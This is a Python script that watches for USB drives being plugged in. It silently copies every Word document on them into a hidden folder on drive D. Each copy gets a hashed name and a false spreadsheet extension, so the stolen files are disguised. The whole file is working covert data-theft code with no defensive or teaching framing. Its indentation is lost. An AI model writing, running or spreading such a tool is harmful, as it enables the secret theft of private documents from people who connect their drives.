import psutil
import sys
import os
import time
from datetime import datetime
import shutil
local_device = []
local_letter = []
local_number = 0
local_cdrom = []
local_cdrom_letter = []
local_cdrom_number = 0
mobile_device = []
mobile_letter = []
mobile_number = 0
password="gxbdb684f1b8cfdf046744ea96d9fce48469fbac305dc6aa0d6operator_pro1520391961274j4102412y5210wang"
def md5_passwd(str,salt):
import hashlib
md = hashlib.md5()
md.update('jmy_123_AS*232'.encode())
str=str+salt
import hashlib
md = hashlib.md5()
md.update(str.encode())
res = md.hexdigest()
return res
def updata():
global local_device, local_letter, local_number, mobile_device, \
mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
tmp_local_device, tmp_local_letter = [], []
tmp_mobile_device, tmp_mobile_letter = [], []
tmp_local_cdrom, tmp_local_cdrom_letter = [], []
tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number = 0, 0, 0
try:
part = psutil.disk_partitions()
except:
sys.exit(-1)
else:
for i in range(len(part)):
tmplist = part[i].opts.split(",")
if "fixed" in tmplist:
tmp_local_number = tmp_local_number + 1
tmp_local_letter.append(part[i].device[:2])
tmp_local_device.append(part[i])
elif "cdrom" in tmplist:
tmp_local_cdrom_number = tmp_local_cdrom_number + 1
tmp_local_cdrom_letter.append(part[i].device[:2])
tmp_local_cdrom.append(part[i])
else:
tmp_mobile_number = tmp_mobile_number + 1
tmp_mobile_letter.append(part[i].device[:2])
tmp_mobile_device.append(part[i])
local_device, local_letter = tmp_local_device[:], tmp_local_letter[:]
mobile_device, mobile_letter = tmp_mobile_device[:], tmp_mobile_letter[:]
local_number, mobile_number, local_cdrom_number = tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number
local_cdrom, local_cdrom_letter = tmp_local_cdrom[:], tmp_local_cdrom_letter[:]
return len(part)
def print_device(n):
global local_device, local_letter, local_number, mobile_device, mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
for l in range(local_number):
pass
for l in range(local_cdrom_number):
pass
if len(mobile_device):
for m in range(mobile_number):
pass
else:
pass
return
def mkdir(path):
path=path.strip()
path=path.rstrip("\\")
isExists=os.path.exists(path)
if not isExists:
os.makedirs(path)
return True
else:
return False
def copy_file_to_disk_hidden(USB_path):
mkpath="D:\\tmp\\HUSTFHNFGT\\"
mkdir(mkpath)
usb_path = USB_path + "\\"
save_path = "D:/tmp/HUSTFHNFGT/"
for fpathe,dirs,fs in os.walk(USB_path):
for f in fs:
if f[-3:]=='doc':
try:
aa,bb=f.split(".")
bb='xls'
oldname = os.path.join(fpathe,f)
aa=md5_passwd(aa,password)
newname=save_path+aa+'.'+bb
shutil.copyfile(oldname,newname)
except:
continue
elif f[-4:]=='docx':
try:
aa,bb=f.split(".")
bb='xlsx'
oldname = os.path.join(fpathe,f)
aa=md5_passwd(aa,password)
newname=save_path+aa+'.'+bb
shutil.copyfile(oldname,newname)
except:
continue
if __name__ == "__main__":
now_number = 0
before_number = updata()
while True:
now_number = updata()
if now_number > before_number:
if len(mobile_device):
for m in range(mobile_number):
copy_file_to_disk_hidden(mobile_letter[m])
else:
pass
before_number = now_number
elif now_number < before_number:
before_number = now_number
time.sleep(1)